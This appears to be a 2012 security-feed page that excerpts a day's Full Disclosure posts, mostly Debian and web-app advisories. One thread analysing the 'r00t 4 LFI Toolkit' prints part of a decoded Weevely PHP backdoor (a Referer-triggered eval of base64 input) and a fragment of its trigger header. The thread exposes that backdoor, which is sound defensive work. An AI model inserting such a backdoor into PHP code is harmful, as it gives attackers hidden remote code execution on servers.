jetlib.sec » Full Disclosure » February 19, 2012

Feeds

133122 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

Full Disclosure

• February 19, 2012
• 

  [SECURITY] [DSA 2412-1] libvorbis security update

  Posted: February 19th, 2012, 12:41pm PST

  Tags:   

  Posted by Moritz Muehlenhoff on Feb 19

  -------------------------------------------------------------------------
  Debian Security Advisory DSA-2412-1 security () debian org
  http://www.debian.org/security/ Moritz Muehlenhoff
  February 19, 2012 http://www.debian.org/security/faq
  -------------------------------------------------------------------------
  
  Package : libvorbis
  Vulnerability : buffer overflow
  Problem type :...
  
• 

  Re: Analysis of the "r00t 4 LFI Toolkit"

  Posted: February 19th, 2012, 10:06am PST

  Tags:   

  Posted by InterN0T Advisories on Feb 19

  Thank you for the response, I didn't know it was included in the Weevely
  tool, but I did see it used in a few "priv8" PHP shells too.
  
  inclusion
  
  of
  
  it
  
  looks
  
  here's
  
  Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64
  
  http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html...
  
• 

  Re: Analysis of the "r00t 4 LFI Toolkit"

  Posted: February 19th, 2012, 9:38am PST

  Tags:   

  Posted by Anestis Bechtsoudis on Feb 19

  The backdoor PHP code that you included is exactly the same as generated
  by Weevely [1] tool, until the 0.4 version of the tool.
  
  For convenience I include the base64 decoded Weevely code here too:
  
  ini_set('error_log','/dev/null');
  parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' &&
  count($a)==9) {echo '<pass>';eval(base64_decode(str_replace(" ", "+",...
  
• 

  Analysis of the "r00t 4 LFI Toolkit"

  Posted: February 19th, 2012, 9:02am PST

  Tags:   

  Posted by InterN0T Advisories on Feb 19

  Dear Full Disclosure readers,
  
  Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI
  Toolkit", that according to its description:
  -------------------------------------------
  This tool is a php script that assists in performing local file inclusion
  attacks.
  -------------------------------------------
  
  -:: Overview ::-
  
  After studying this tool for a brief 5 minutes, it was obvious that it was
  nowhere what I hoped it to...
  
• 

  [SECURITY] [DSA 2411-1] mumble security update

  Posted: February 19th, 2012, 6:40am PST

  Tags:   

  Posted by Florian Weimer on Feb 19

  -------------------------------------------------------------------------
  Debian Security Advisory DSA-2411-1 security () debian org
  http://www.debian.org/security/ Florian Weimer
  February 19, 2012 http://www.debian.org/security/faq
  -------------------------------------------------------------------------
  
  Package : mumble
  Vulnerability : information disclosure
  Problem type...
  
• 

  Re: Fwd: Re: Operation Bring Peace To Machines

  Posted: February 19th, 2012, 6:25am PST

  Tags:   

  Posted by Valdis . Kletnieks on Feb 19

  On Sat, 18 Feb 2012 12:37:42 PST, Ian Hayes said:
  
  You sure? It's certainly got the rms attitude, but he *real* rms usually rants
  in much greater detail . I'd probably sanity-check the Received: and other
  headers at that point.
  
• 

  CubeCart 3.0.20 (3.0.x) and lower | Open URL Redirection Vulnerability [Updated]

  Posted: February 19th, 2012, 5:05am PST

  Tags:   

  Posted by YGN Ethical Hacker Group on Feb 19

  1. OVERVIEW
  
  The CubeCart 3.0.20 and lower versions are vulnerable to Open URL Redirection.
  
  2. BACKGROUND
  
  CubeCart is an "out of the box" ecommerce shopping cart software
  solution which has been written to run on servers that have PHP &
  MySQL support. With CubeCart you can quickly setup a powerful online
  store which can be used to sell digital or tangible products to new
  and existing customers all over the world.
  
  3. VULNERABILITY...
  
• 

  Endian UTM Firewall v2.4.x - Cross Site Vulnerabilities

  Posted: February 19th, 2012, 5:03am PST

  Tags:   

  Posted by research () vulnerability-lab com on Feb 19

  Title:
  ======
  Endian UTM Firewall v2.4.x - Cross Site Vulnerabilities
  
  Date:
  =====
  2012-02-18
  
  References:
  ===========
  http://www.vulnerability-lab.com/get_content.php?id=436
  
  VL-ID:
  =====
  436
  
  Introduction:
  =============
  The Endian Firewall is an open source GNU/Linux distribution that specializes on Routing/Firewalling and
  Unified Threat Management. It is being developed by the Italian Endian Srl and the community. Endian is originally
  based...
  
• 

  Re: Downloads Folder: A Binary Planting Minefield

  Posted: February 19th, 2012, 5:02am PST

  Tags:   

  Posted by Kyle Creyts on Feb 19

  Did this talk _really_ get accepted at RSA? Wow.
  
• 

  Re: Operation Bring Peace To Machines : New Info

  Posted: February 19th, 2012, 12:42am PST

  Tags:   

  Posted by not here on Feb 19

  Sort of confirmation Morocco is the motherland for spammers + phishers